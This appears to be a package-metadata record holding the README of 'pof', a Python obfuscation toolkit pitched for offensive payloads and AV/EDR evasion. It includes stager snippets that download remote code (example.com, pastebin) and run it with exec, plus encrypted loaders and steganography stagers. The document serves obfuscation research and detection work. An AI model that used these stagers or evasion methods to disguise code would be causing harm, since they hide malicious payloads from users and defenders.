in''[::-1]]).join([globals()[expected_data('XordinalidWlsdGlucordinalf'.replace('ordinal','19')).decode()].__dict__[expected_data('yh2Y'[::-1]).decode()](globals()[_5269(expected_data('VXRlTiVYPjQ/OVpnWEU+').decode()).decode()].__dict__[_5269('fold_countV'.replace('fold_count','Z*p')).decode()](i)-__builtins__.__getattribute__(expected_data(\"\".join([chr(ord(i)-3)for i in'dZ83'])).decode())('quaencode_7or8bits'.replace('encode_7or8bit','ntile').replace(\"\".join([chr(ord(i)-3)for i in'txdqwlohv']),\"\".join([chr(ord(i)-3)for i in'6']))))for i in expected_data('').decode().join([chr(ord(i)-3)for i in'ztoxv'[::-1]])])](expected_data(_5269('Q%6>FVKQQ0ad38HZFp+').decode().replace('pq_b2a'[::-1],'\\u0062\\u00478\\u0073\\u0049\\u0048\\u0064')).decode())\n```\n\nMore examples and usage can be found in `examples/` or in the section bellow.\n\n## Goals\n\nThe goals of this project are to create a toolkit to obfuscate Python source code, mainly to create payload for offensive security.\n\npof will allow you to:\n\n- create **payloads**: store the code inside images, have multiple stages, use LOTL techniques\n- create **stager**: easily create multi stages payloads\n- do **evasion**: AV, EDR, DPI, sandbox and other analysis techniques\n- slow **analysis**: slow down human analysis of the payload\n- enable **automation**: automate the whole process, to produce numerous variant of the payload\n- be **cross-platform**: works on Linux, Windows, and macOS\n- have **fun**: because it's always fun to see what's possible to do with Python\n\nThis project also tries to combine all other Python obfuscation tools available, because most of them only provide a single method, and it's pretty basic. So you should be able to do everything that those other tools do, but without having to use multiple.\n\nPython is not exactly the best language to create payloads with, especially for Windows if the interpreter is not already installed. This project was made for learning, and discovering new ways of bypassing security, it's a great way to test obfuscations techniques.\n\nThis project could also give you ideas to implement in other languages, such as powershell where it would make sens to obfuscate the source code. Or in C, C#, C++, Go or Rust where it would make sens to stage payloads, compress them, encrypt them and obfuscate strings.\n\nYou could also use most of the stagers to stage payload that are not built in Python.\n\n## Install\n\nThere are 4 installation options, with PIP, a virtualenv, a Docker container, or with Nix.\n\n### 1. PIP\n\nFrom [pypi](https://pypi.org/project/python-obfuscation-framework):\n\n```bash\npip install python-obfuscation-framework\n```\n\n### 2. Source\n\n```bash\ngit clone https://github.com/deoktr/pof\ncd pof\npython -m venv venv\nsource ./venv/bin/activate\n./setup.py install\n```\n\nThis will install pof inside a virtual env, so you'll need to activate it every time you want to use it.\n\n### 3. Docker\n\n```bash\ngit clone https://github.com/deoktr/pof\ncd pof\ndocker build -t pof .\ndocker run --rm -it pof --help\n```\n\nRun inside Docker from a local file `in.py`:\n\n```bash\ndocker run --rm -v $(pwd):/tmp -it pof /tmp/in.py -o /tmp/out.py\n```\n\n### 4. Nix\n\nFrom [github.com/onix-sec/nixsecpkgs](https://github.com/onix-sec/nixsecpkgs):\n\n```bash\nnix shell github:onix-sec/nixsecpkgs#pof\n```\n\n## Usage\n\n```bash\n# pipe input and output to stdout\necho \"print('Hello, world')\" | pof\n\n# output to file\npof in.py -o out.py\n\n# redirect to file\npof in.py > out.py\n\n# pipe to python to run it\npof in.py | python\n\n# obfuscator\npof in.py -o out.py -f obfuscator -k BuiltinsObfuscator\n\n# stager\npof in.py -o out.py -f stager -k PasteRsStager\n\n# evasion\npof in.py -o out.py -f evasion -k CPUCountEvasion\n\n# evasion with custom params\npof in.py -o out.py -f evasion -k CPUCountEvasion min_cpu_count=4\n\n# combine everything from the CLI\npof in.py -f obfuscator -k BuiltinsObfuscator |\\\n pof -f evasion -k CPUCountEvasion min_cpu_count=4 |\\\n pof -f stager -k PasteRsStager > out.py\n```\n\nYou can also use the Python API directly, you can find examples in the corresponding directory or bellow.\n\n## Examples\n\nThese are examples of obfuscators of the script `print('Hello, world')`.\n\nTo select an obfuscator use the flag `-f obfuscator` and `-k ObfuscatorClassName`.\n\nTo reproduce the examples you can use the following command:\n\n```bash\necho \"print('Hello, world')\" | pof -f obfuscator -k UUIDObfuscator\n```\n\nTo test the validity of the output you can simply pipe it to Python:\n\n```bash\necho \"print('Hello, world')\" | pof -f obfuscator -k UUIDObfuscator | python\n```\n\n### Obfuscator\n\n#### StringsObfuscator\n\n```python\n# Reverse\nprint('dlrow ,olleH'[::-1])\n\n# Replace\nrint('Helnelemd'.replace('nelem','lo, worl'))\n\n# Unicode\nprint('\\u0048\\u0065\\u006c\\u006c\\u006f\\u002c\\u0020\\u0077\\u006f\\u0072\\u006c\\u0064')\n\n# Shift cipher\nprint(\"\".join([chr(ord(i)-3)for i in'Khoor/#zruog']))\n\n# Base 64 encoding\nfrom base64 import b64decode\nprint(b64decode( b'SGVsbG8sIHdvcmxk').decode())\n\n# Base 85\nfrom base64 import b85decode\nprint(b85decode( b'NM&qnZ!92pZ*pv8').decode())\n```\n\n#### NumberObfuscator\n\nSource: `print(42)`\n\n```python\n# String\nprint(int('42'))\n\n# Addition\nprint((int(35+7)))\n\n# Hex\nprint(int('0x2a',0))\n\n# Len\nprint(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'))\n\n# Boolean\nprint((True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True))\n```\n\n#### DefinitionsObfuscator\n\nSource:\n\n```python\ndef say_hello(t):\n print(t)\nsay_hello(\"Hello, world\")\n```\n\nObfuscated:\n\n```python\ndef sczCWV(t):\n print(t)\nsczCWV('Hello, world')\n```\n\n#### BuiltinsObfuscator\n\nObfuscate builtins functions using one of the following methods.\n\n```python\n__builtins__.__getattribute__('print')('Hello, world')\n\n__builtins__.__dict__['print']('Hello, world')\n\nglobals()['__builtins__'].__dict__['print']('Hello, world')\n\n__builtins__.__dict__.__getitem__('print')('Hello, world')\n```\n\n#### ConstantsObfuscator\n\nMove every variable at the top of the file.\n\n```python\nvVlJ='Hello, world'\nt4Bo=print\nt4Bo(vVlJ)\n```\n\n#### ExtractVariablesObfuscator\n\nExtract variables in the same context level, meaning if inside a function will add the variable at the beginning of it.\n\nNote that right now this function is broken and can fail.\n\n```python\nvar='Hello, world'\nprint(var)\n```\n\n#### CallObfuscator\n\n```python\nprint.__call__('Hello, world')\n```\n\n#### ShiftObfuscator\n\n```python\nexec(\"\".join([chr(ord(i)-3)for i in'sulqw+*Khoor/#zruog*,\\r']))\n```\n\n#### DocstringObfuscator\n\n```python\nfrom base64 import b64decode\nclass Foo:\n \"\"\"\n cHJpbnQoJ0hlbGxvLCB3b3JsZCcpCg==\n \"\"\"\n pass\n\n\nexec(b64decode(Foo.__doc__.replace('\\n','').replace(' ','')))\n```\n\n#### SpacenTabObfuscator\n\n```python\ndef sntdecode(encoded):\n msg_bin=encoded.replace(\" \",\"0\").replace(\"\\t\",\"1\")\n n=int(msg_bin,2)\n return n.to_bytes((n.bit_length()+7)//8,\"big\")\n\nexec(sntdecode('\\t\\t\\t \\t\\t\\t \\t \\t\\t \\t \\t \\t\\t \\t\\t\\t \\t\\t\\t \\t \\t \\t \\t \\t\\t\\t \\t \\t \\t\\t \\t \\t \\t\\t \\t\\t \\t\\t \\t\\t \\t\\t \\t\\t\\t\\t \\t \\t\\t \\t \\t\\t\\t \\t\\t\\t \\t\\t \\t\\t\\t\\t \\t\\t\\t \\t \\t\\t \\t\\t \\t\\t \\t \\t \\t\\t\\t \\t \\t \\t \\t \\t '))\n```\n\n#### RC4Obfuscator\n\nWarning: the RC4 obfuscator (and other cipher obfuscators) will combine both, the cipher text and the key in the same file, this is obviously not secure, and should never be used for security purposes. The idea behind this obfuscator is to fool humans, AV, EDR, network TAP etc. not to be secured and safe.\n\n```python\nimport codecs\ndef rc4decrypt(key,ciphertext):\n def KSA(key):\n key_length=len(key)\n S=list(range(256))\n j=0\n for i in range(256):\n j=(j+S[i]+key[i%key_length])%256\n S[i],S[j]=S[j],S[i]\n return S\n def PRGA(S):\n i=0\n j=0\n while True:\n i=(i+1)%256\n j=(j+S[i])%256\n S[i],S[j]=S[j],S[i]\n K=S[(S[i]+S[j])%256]\n yield K\n def get_keystream(key):\n S=KSA(key)\n return PRGA(S)\n def encrypt_logic(key,text):\n key=[ord(c)for c in key]\n keystream=get_keystream(key)\n res=[]\n for c in text:\n val=\"%02X\"%(c^next(keystream))\n res.append(val)\n return\"\".join(res)\n ciphertext=codecs.decode(ciphertext,\"hex_codec\")\n res=encrypt_logic(key,ciphertext)\n return codecs.decode(res,\"hex_codec\").decode(\"utf-8\")\n\nexec(rc4decrypt('7zSRE6YHmdwpx2zT1Q2xPoPwzztXRZNQSKeX2LFIKBhl7uJMAs9jj0Hlec6y3wjuNgqgdD1XjnqZSzkWhRldoWwn625Bw56r105zQg5KRE5ugmVOUy2adMWKH2hod0CfxW72XLGFDTt38OH5nDYcr2bXrokKDKCaie56agxxHmSwv4nwTNQlxjyrixBgeyjaDV8CLvdmS4ANRXXVs5HxhxlFiBBUoHadf1wLq0wDi5c0e93fmqqNCRHAMAoTkGJJPCfXc9kTHmW38NJcjnVgvAgrBIcJX66E8pLwUniQB0yvoHapq2RCxaV8PrhU0jFy9RWTrwDfoE3G7whrE8uobVUgFLiJsiH6eV63RvH03gUEi1EHo0YGrRo12yShLG0P8pfSawTjTkJlQOFQ2PsubnQm8fhZ6en7nHI2L2xpC88yNScapMnsRaYUHZFWdecVfOaq9QaMf76RzYpQ7F5LWKgcEG3WGiXReCU1hr5pAoomAcXMZftcYuJu5AuOsXSR','647F6846CBEF6C270D853D3F76650D51DE1CAD760C17'))\n```\n\n#### XORObfuscator\n\nWarning: like for the RC4 cipher the XOR obfuscator shouldn't be used for security purposes, its main goal is to evade common security tools, not protect the information! Plus the XOR cipher is really weak and easy to crack.\n\n```python\nfrom base64 import b64decode\n\ndef decrypt(cipher,key):\n bcipher=bytearray(b64decode(cipher))\n text=bytearray()\n ki=0\n for i in bcipher:\n text.append(i^key[ki%len(key)])\n ki+=1\n return text\nexec(decrypt( b'RkNfWkAcHnxTXVpbGBROW0RdUhMdPg==', b'61644494').decode())\n```\n\n#### Compression\n\n```python\n# Bz2Obfuscator\nimport bz2,marshal\nexec(marshal.loads(bz2.decompress( b'BZh91AY&SY\\xcf\\xf8\\xcd\\xdc\\x00\\x00\\ru\\x80\\xc0\\x10\\x01\\x00@\\xe4\\x00@\\x06%\\xd4\\x80\\x08\\x00 \\x00\"&\\x80d\\x196\\xa1L&\\x9a\\x03LI\\x99\\\\eR\\x15\\xcd\\xb9\\x04\\xd4s\\x1d\\x08\\x00\\xf8\\xbb\\x92)\\xc2\\x84\\x86\\x7f\\xc6n\\xe0')))\n\n# GzipObfuscator\nimport gzip,marshal\nexec(marshal.loads(gzip.decompress( b'\\x1f\\x8b\\x08\\x00$p\\x91d\\x02\\xff\\xfb,\\xc6\\xc0\\xc0PP\\x94\\x99W\\xa2\\xa1\\xee\\x91\\x9a\\x93\\x93\\xaf\\xa3P\\x9e_\\x94\\x93\\xa2\\xae\\xc9\\x05\\x00\\xf2\\x90\\x8eA\\x1b\\x00\\x00\\x00')))\n\n# LzmaObfuscator\nimport lzma,marshal\nexec(marshal.loads(lzma.decompress( b\"\\xfd7zXZ\\x00\\x00\\x04\\xe6\\xd6\\xb4F\\x02\\x00!\\x01\\x16\\x00\\x00\\x00t/\\xe5\\xa3\\x01\\x00\\x1a\\xf3\\x16\\x00\\x00\\x00print('Hello, world')\\n\\x00\\x00\\xd5\\xa4\\x00\\xec\\xfa;\\x9c\\xf1\\x00\\x013\\x1b\\xf7\\x19\\x88^\\x1f\\xb6\\xf3}\\x01\\x00\\x00\\x00\\x00\\x04YZ\")))\n\n# ZlibObfuscator\nimport zlib,marshal\nexec(marshal.loads(zlib.decompress( b'x\\x9c\\xfb,\\xc6\\xc0\\xc0PP\\x94\\x99W\\xa2\\xa1\\xee\\x91\\x9a\\x93\\x93\\xaf\\xa3P\\x9e_\\x94\\x93\\xa2\\xae\\xc9\\x05\\x00va\\x08H')))\n```\n\n#### Encoding\n\n```python\n# ASCII85Obfuscator\nfrom base64 import a85decode\nexec(a85decode('E,oZ1F=8M-ASc1$/0K.TEbo86.1-'))\n\n# Base16Obfuscator\nfrom base64 import b16decode\nexec(b16decode('7072696E74282748656C6C6F2C20776F726C6427290A'))\n\n# Base32Obfuscator\nfrom base64 import b32decode\nexec(b32decode('OBZGS3TUFATUQZLMNRXSYIDXN5ZGYZBHFEFA===='))\n\n# Base32HexObfuscator\nfrom base64 import b32hexdecode\nexec(b32hexdecode('E1P6IRJK50JKGPBCDHNIO83NDTP6OP175450===='))\n\n# Base64Obfuscator\nfrom base64 import b64decode\nexec(b64decode('cHJpbnQoJ0hlbGxvLCB3b3JsZCcpCg=='))\n\n# Base85Obfuscator\nfrom base64 import b85decode\nexec(b85decode('aB^vGbSNiCWo&G3EFgDpa%^NLDGC'))\n\n# BinasciiObfuscator\nimport binascii,marshal\nexec(marshal.loads(binascii.a2b_base64( b'8xYAAABwcmludCgnSGVsbG8sIHdvcmxkJykK\\n')))\n```\n\n#### Special Encoding\n\n```python\n# TokensObfuscator\nfrom tokenize import untokenize\nexec(untokenize([(1,'print'),(54,'('),(3,\"'Hello, world'\"),(54,')'),(4,'\\n'),(0,''),]))\n\n# IPv6Obfuscator\nimport binascii\nexec(binascii.a2b_hex(''.join(['7072:696e:7428:2748:656c:6c6f:2c20:776f','726c:6427:290a:1000:0000:0000:0000:0000',]).replace(':','').strip('0')[:-1]))\n\n# MACObfuscator\nimport binascii\nexec(binascii.a2b_hex(''.join(['70-72-69-6e-74-28','27-48-65-6c-6c-6f','2c-20-77-6f-72-6c','64-27-29-0a-10-00',]).replace('-','').strip('0')[:-1]))\n\n# UUIDObfuscator\nexec(binascii.a2b_hex(\"\".join(['7072696e-7428-2748-656c-6c6f2c20776f','726c6427-290a-1000-0000-000000000000',]).replace(\"-\",\"\").strip('0')[:-1]))\n```\n\n#### ImportsObfuscator\n\nSource: `import pathlib`\n\n```python\npathlib=__import__('pathlib')\n```\n\n#### CharFromDocObfuscator\n\nSource: `print('h')`\n\n```python\nprint(oct.__doc__[8])\n```\n\n### Stager\n\n#### DownloadStager\n\n```python\nfrom urllib import request\nexec(request.urlopen(\"https://example.com/payload.py\").read())\n```\n\n#### ImageStager\n\nThe modified picture is not included in this example.\n\n```python\nimport sys\nfrom PIL import Image\ndef decode(im_in):\n msg_bin=\"\"\n im=Image.open(im_in)\n px=im.load()\n for x in range(im.size[0]):\n for y in range(im.size[1]):\n pixels=px[x,y]\n msg_bin+=bin(pixels[0])[-1]\n n=8\n mmsg_bin=\"0\"+msg_bin\n chunks=[mmsg_bin[i:i+n]for i in range(0,len(mmsg_bin),n)]\n i=chunks.index(\"0\"*8)\n msg_bin=msg_bin[:(8*i)-1]\n n=int(msg_bin,2)\n msg=n.to_bytes((n.bit_length()+7)//8,\"big\").decode()\n return msg\nexec(decode(sys.argv.pop(1)))\n```\n\n#### PastebinStager\n\n```python\nfrom urllib import request\nexec(request.urlopen(\"https://pastebin.com/raw/...\").read())\n```\n\n> [!NOTE]\n> You'll need to add a pastebin API key:\n>\n> ```bash\n> echo \"print('Hello, world')\" | pof -f stager -k PastebinStager api_dev_key=foo\n> ```\n\nThe `PasteRsStager` and `Cl1pNetStager` are exactly the same, but the code is not uploaded to the same site. But `PasteRsStager` doesn't require an API key.\n\n#### RC4Stager\n\nThe RC4 stager needs to be called with the key has its first argument.\n\n```python\nimport sys\nimport codecs\ndef rc4decrypt(key,ciphertext):\n def KSA(key):\n key_length=len(key)\n S=list(range(256))\n j=0\n for i in range(256):\n j=(j+S[i]+key[i%key_length])%256\n S[i],S[j]=S[j],S[i]\n return S\n def PRGA(S):\n i=0\n j=0\n while True:\n i=(i+1)%256\n j=(j+S[i])%256\n S[i],S[j]=S[j],S[i]\n K=S[(S[i]+S[j])%256]\n yield K\n def get_keystream(key):\n S=KSA(key)\n return PRGA(S)\n def encrypt_logic(key,text):\n key=[ord(c)for c in key]\n keystream=get_keystream(key)\n res=[]\n for c in text:\n val=\"%02X\"%(c^next(keystream))\n res.append(val)\n return\"\".join(res)\n ciphertext=codecs.decode(ciphertext,\"hex_codec\")\n res=encrypt_logic(key,ciphertext)\n return codecs.decode(res,\"hex_codec\").decode(\"utf-8\")\n\nexec(rc4decrypt(sys.argv.pop(1),'A0E9F66914B121B6CD9A7E4532EF281DBB0B8D7FF597A4D5FA2C5EBB47BA2801B33B21819B1F62D5A5D2BDC1E4A4ACD159FB581F860F44D0E4F493C8F55858C83D19EF5DD1BBEB0D143E5C5C9FFF621B187985B6F9FC03E83F80BA3DCD55217949FA04B2F58EC862CC701A0734D1ADB231E5DA54C11E505F520D1B53E50E1F36AA20A163D2BFA43C3E5DDA259A12683C3379D4115C0483C088236FB5DA667EE79D288D99F73A07FCF3F445F933B637B26DD32CC0A0EBE646E7644D2324937910ECB4752E8CEDC09729AF476579944DC13E3629C42634C9483D89617F8941F68506470D53BCC6A94B592101260B96B1BFD83A6C2248E725FF31E4592D21038D677A239E1BA4F9031F7F728DE835BF0C8B28920868A6B880E37C2BBF5E37291210F15F389BF42522D6A9668BA334474D9048AE66997C0AED01178B2EA75DB4D592CBB898773D982A91242AB434F54F00E6B747940D8D0228CB885E8A4977494350FFFA2D2428D0525F8A5A6A22899B0195AD278E804B7BCC47B499DD32329C56B4DB7A6FA81DC935DA9978961604951F0F63757FA754291B32D8E03BE815A38A5EDACB04516AEEAD0F9BA2FB4D8C3E8F5050D810B3B94B1A445973E775114112D279673715858CBA8C4C745C8B9D78CFF81B5C151EACB2E739612C7776BC081B5CA54AF6860E6F04A80F5645B011F4A4'))\n```\n\nFor this example, the randomly generated key is:\n\n```\nTzyaoOa2e4wimAo1AGgeWO5ztZtLzqWo5Wl9OXLWP0r5QmjFO8VvIao6NfqHxMBZCXekiqGDcmFugz10F2wS8UlOtUJB2muLsSxVWoJhq1fKWaZHbiYPd7SSdPhqHMRV1fQkJax5sLssaB43AlHFrx4rJYMvkCjPebHUdjW2l0c8af5cNs60v4dRE3zw2myNZTcrbsbpvogSGYOz21rAXlEZn2y0lbDIpWwI1ZHf8i5vAGxnPPPH9i7OQIMZEunerDbY7cyzHRcZGU1nsVyEmlILGf37NYTxLagRkC6GJP5NCmqboyP5It6bF6AuihUkjLTXTMvrgxfNlMs4g3BkHqZIGjNxFHj6zSB3jhOtOQ9l3zOG36dsMKSye78Xxmn7JjoW5nH76E05QJMBALapu0LaVppSSpSUrpYR2bmwGdbuJNZd7qLL6Yy6vNptSIKcG6Vi6DiFLk7afCw9h9fLdyUC1Ng1sGwt0Jhdf0XnuBedFx6diWYzCrYgWZeM1VnC\n```\n\nSo we could call it like this:\n\n```bash\npython3 out.py TzyaoO...\n```\n\n#### QuineStager\n\n```python\nfrom base64 import b64decode\nfrom tokenize import untokenize\nesource='cHJpbnQoJ0hlbGxvLCB3b3JsZCcpCg=='\ntokens=[(1,'from'),(1,'base64'),(1,'import'),(1,'b64decode'),(4,'\\n'),(1,'from'),(1,'tokenize'),(1,'import'),(1,'untokenize'),(4,'\\n'),(1,'esource'),(54,'='),(4,'\\n'),(1,'tokens'),(54,'='),(4,'\\n'),(1,'def'),(1,'quine'),(54,'('),(54,')'),(54,':'),(4,'\\n'),(5,' '),(1,'return'),(1,'untokenize'),(54,'('),(1,'tokens'),(54,'['),(54,':'),(2,'12'),(54,']'),(54,')'),(54,'+'),(1,'repr'),(54,'('),(1,'esource'),(54,')'),(54,'+'),(1,'untokenize'),(54,'('),(1,'tokens'),(54,'['),(2,'12'),(54,':'),(2,'15'),(54,']'),(54,')'),(54,'+'),(1,'repr'),(54,'('),(1,'tokens'),(54,')'),(54,'+'),(1,'untokenize'),(54,'('),(1,'tokens'),(54,'['),(2,'15'),(54,':'),(54,']'),(54,')'),(4,'\\n'),(6,''),(1,'exec'),(54,'('),(1,'b64decode'),(7,'('),(1,'esource'),(8,')'),(54,')'),(4,'\\n')]\ndef quine():\n return untokenize(tokens[:12])+repr(esource)+untokenize(tokens[12:15])+repr(tokens)+untokenize(tokens[15:])\nexec(b64decode(esource))\n```\n\nThis is most likely useless, a quine is a program that output its source code, and you can generate a quine from your source code with this.\n\nYour script will still execute but a new function `quine` will be available, if you call it you'll have access to the source.\n\nExample usage:\n\n```bash\necho \"print(quine())\" | pof -f stager -k QuineStager > out.py\npython3 out.py > out2.py\npython3 out2.py > out3.py\ndiff out2.py out3.py\n```\n\nThe `out2.py` and `out3.py` files are identical, they both contain the source code, and the script `print(quine())`.\n\n> [!NOTE]\n> By default pof uses a custom `Untokenizer` that removes useless spaces (`NoSpaceUntokenizer` defined in `./pof/utils/tokens.py`), so first generation (in the example `out.py`) will not have spaces present in the subsquent outputs.\n\n### Generators\n\nGenerators are used to generate new names, they can be used to classes, variables, functions, constants or any other.\n\n`BasicGenerator.alphabet_generator`:\n\n```\nkMX94Fcb\nmff0ERu3V\nlNRxu3hk\nb5PK35uR_t\n```\n\n`AdvancedGenerator.realistic_generator`:\n\nUseful to create variables that look realistic.\n\n```\nraise_src\nexpected_message\nContextInputValidation\nis_auth\n```\n\n`AdvancedGenerator.fixed_length_generator`:\n\nInspired by: [pyob.oxyry.com](https://pyob.oxyry.com/).\n\n```\nO00OOOO00O0O00OOO\nO000OOOOO0O000O0O\nO0OOOO0000OO0OO00\nO000000OO0O0O0OO0\n```\n\n`UnicodeGenerator.katakana_generator`:\n\n```\n\u30b7\n\u30d3\u30e9\n\u30dd\u30ef\n\u30cc\u30d0\n```\n\nYes they are valid Python variable name.\n\nUsage:\n\n```python\n\nfrom pof.utils.generator import UnicodeGenerator\n\ngen = UnicodeGenerator().katakana_generator()\nfor _ in range(4):\n print(next(gen))\n```\n\n### Homoglyphs\n\n[Homoglyphs](https://en.wikipedia.org/wiki/Homoglyph) are glyphs that have the same shape and appear identical. There is a generator to help create them.\n\nExample of homoglyphs for `Hello, world!`:\n\n```\nH\ud835\udc1ello, world!\nHello, \u1d21orld!\nHello, world\u01c3\nHello, world\uff01\nH\u0435llo, world!\nHello, wo\u0433ld!\nHello, wo\uab48ld!\nHello,\u2005world!\nHello, world\u01c3\nHello\u00b8 world!\nHello,\u2008world!\n```\n\nUsage:\n\n```python\nfrom pof.utils.se import HomoglyphsGenerator\n\ndef get_homoglyphs():\n generator = HomoglyphsGenerator()\n text = \"Hello, world!\"\n for _ in range(10):\n homoglyph = generator.get_single_homoglyph(text)\n print(homoglyph)\n```\n\n## Python API\n\nThe true power of pof is in chaining multiple different obfuscation techniques easily, there is a pretty simple Python API to do so.\n\nFor example this is a snippet of the default obfuscator:\n\n```python\nimport random\n\nfrom pof import BaseObfuscator\nfrom pof.obfuscator import (\n BuiltinsObfuscator,\n CommentsObfuscator,\n ConstantsObfuscator,\n ExceptionObfuscator,\n GlobalsObfuscator,\n LoggingObfuscator,\n # NamesObfuscator,\n NumberObfuscator,\n PrintObfuscator,\n StringsObfuscator,\n)\nfrom pof.utils.extract_names import NameExtract\nfrom pof.utils.generator import AdvancedGenerator, BaseGenerator, BasicGenerator\n\n\nclass ExampleObfuscator(BaseObfuscator):\n def obfuscate(self, source):\n tokens = self._get_tokens(source)\n\n # get all the names and add them to the RESERVED_WORDS for the generators\n reserved_words_add = NameExtract.get_names(tokens)\n BaseGenerator.extend_reserved(reserved_words_add)\n\n tokens = CommentsObfuscator().obfuscate_tokens(tokens)\n tokens = LoggingObfuscator().obfuscate_tokens(tokens)\n tokens = PrintObfuscator().obfuscate_tokens(tokens)\n ex_generator = BasicGenerator.number_name_generator()\n tokens = ExceptionObfuscator(\n add_codes=True,\n generator=ex_generator,\n ).obfuscate_tokens(tokens)\n\n # configure generator\n gen_dict = {\n 86: AdvancedGenerator.realistic_generator(),\n 10: BasicGenerator.alphabet_generator(),\n 4: BasicGenerator.number_name_generator(length=random.randint(2, 5)),\n }\n generator = AdvancedGenerator.multi_generator(gen_dict)\n\n # core obfuscation\n tokens = ConstantsObfuscator(\n generator=generator,\n obf_number_rate=0.7,\n obf_string_rate=0.1,\n obf_builtins_rate=0.3,\n ).obfuscate_tokens(tokens)\n\n # FIXME: broken for the moment\n # tokens = NamesObfuscator(generator=generator).obfuscate_tokens(tokens)\n\n tokens = GlobalsObfuscator().obfuscate_tokens(tokens)\n tokens = BuiltinsObfuscator().obfuscate_tokens(tokens)\n\n b64decode_name = next(generator)\n b85decode_name = next(generator)\n string_obfuscator = StringsObfuscator(\n import_b64decode=True,\n import_b85decode=True,\n b64decode_name=b64decode_name,\n b85decode_name=b85decode_name,\n )\n tokens = string_obfuscator.obfuscate_tokens(tokens)\n string_obfuscator.import_b64decode = False\n string_obfuscator.import_b85decode = False\n\n for _ in range(2):\n tokens = NumberObfuscator().obfuscate_tokens(tokens)\n tokens = BuiltinsObfuscator().obfuscate_tokens(tokens)\n for _ in range(2):\n tokens = string_obfuscator.obfuscate_tokens(tokens)\n\n return self._untokenize(tokens)\n\n\nprint(ExampleObfuscator().obfuscate(open(\"source.py\", \"r\").read()))\n```\n\nIn this example we can see that first we remove comments, logging, print statements, and change the content of exceptions, and then we start to obfuscate constants, names, globals, builtins, strings, then strings and numbers multiple times, and we finally convert the tokens back to code.\n\nBy chaining multiple obfuscations techniques we can create very complex and custom output.\n\nPof also provide evasions methods, detailed below, they are useful for quick and easy evasions, and can be used and customized to fit the need.\n\nFor more example of how to use the pof Python API check the [examples/](./examples) directory.\n\n## Yara\n\nYara rules can be used to detect malware, they can also be used to find interesting strings in Python source code. To check rules against source files and/or obfuscated files run:\n\n```bash\nyara --no-warnings yara/python.yar file.py\n```\n\n## Development\n\nProject:\n\n- `pof`: contains all the pof source code\n - `pof/obfuscator`: contains obfuscators\n - `pof/stager`: contains satgers\n - `pof/evasion`: contains evasions\n - `pof/utils`: all shared code between stager, obfuscator and evasion\n- `wip`: work in progress code that will eventually make its way inside the main code base\n- `tests`: unit tests for pof\n- `scripts`: some useful scripts to develop or use pof\n- `yara`: some yara rules to detect pof obfuscated code\n\nSetup:\n\n```bash\npython3 -m venv venv\n\n# activate it (or equivalent for your shell)\nsource ./venv/bin/activate\n\n# install dep\npip install -e .\npip install -e .[dev]\npip install -e .[test]\n```\n\nRun pof:\n\n```bash\n./pof.py --help\n```\n\nRun tests:\n\n```bash\npytest\n```\n\nFormat:\n\n```bash\nblack .\nruff format .\n```\n\nLint:\n\n```bash\nruff check .\n```\n\nTest build package:\n\n```bash\npip install build twine check-manifest\ncheck-manifest --ignore \"tests/**\"\npython3 -m build\npython3 -m twine check dist/*\n```\n\n## Python 2\n\nNo effort is made to support Python 2, most obfuscator, stagers, and evasion should work out of the box, but they are not tested.\n\n## TODO\n\n- Add option to prepend a shebang, and add ability to customize it\n- Fix multi line strings\n\n## License\n\npof is licensed under [GPLv3](./LICENSE).\n",
"bugtrack_url": null,
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Interpretation of Sections 15 and 16.\n \n If the disclaimer of warranty and limitation of liability provided\n above cannot be given local legal effect according to their terms,\n reviewing courts shall apply local law that most closely approximates\n an absolute waiver of all civil liability in connection with the\n Program, unless a warranty or assumption of liability accompanies a\n copy of the Program in return for a fee.\n \n END OF TERMS AND CONDITIONS\n \n How to Apply These Terms to Your New Programs\n \n If you develop a new program, and you want it to be of the greatest\n possible use to the public, the best way to achieve this is to make it\n free software which everyone can redistribute and change under these terms.\n \n To do so, attach the following notices to the program. It is safest\n to attach them to the start of each source file to most effectively\n state the exclusion of warranty; and each file should have at least\n the \"copyright\" line and a pointer to where the full notice is found.\n \n POF, a free and open source Python obfuscation framework.\n Copyright (C) 2022-2024 POF Team\n \n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n \n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n \n You should have received a copy of the GNU General Public License\n along with this program. If not, see <https://www.gnu.org/licenses/>.\n \n Also add information on how to contact you by electronic and paper mail.\n \n If the program does terminal interaction, make it output a short\n notice like this when it starts in an interactive mode:\n \n POF Copyright (C) 2022-2024 POF Team\n This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n This is free software, and you are welcome to redistribute it\n under certain conditions; type `show c' for details.\n \n The hypothetical commands `show w' and `show c' should show the appropriate\n parts of the General Public License. Of course, your program's commands\n might be different; for a GUI interface, you would use an \"about box\".\n \n You should also get your employer (if you work as a programmer) or school,\n if any, to sign a \"copyright disclaimer\" for the program, if necessary.\n For more information on this, and how to apply and follow the GNU GPL, see\n <https://www.gnu.org/licenses/>.\n \n The GNU General Public License does not permit incorporating your program\n into proprietary programs. If your program is a subroutine library, you\n may consider it more useful to permit linking proprietary applications with\n the library. If this is what you want to do, use the GNU Lesser General\n Public License instead of this License. But first, please read\n <https://www.gnu.org/licenses/why-not-lgpl.html>.\n ",
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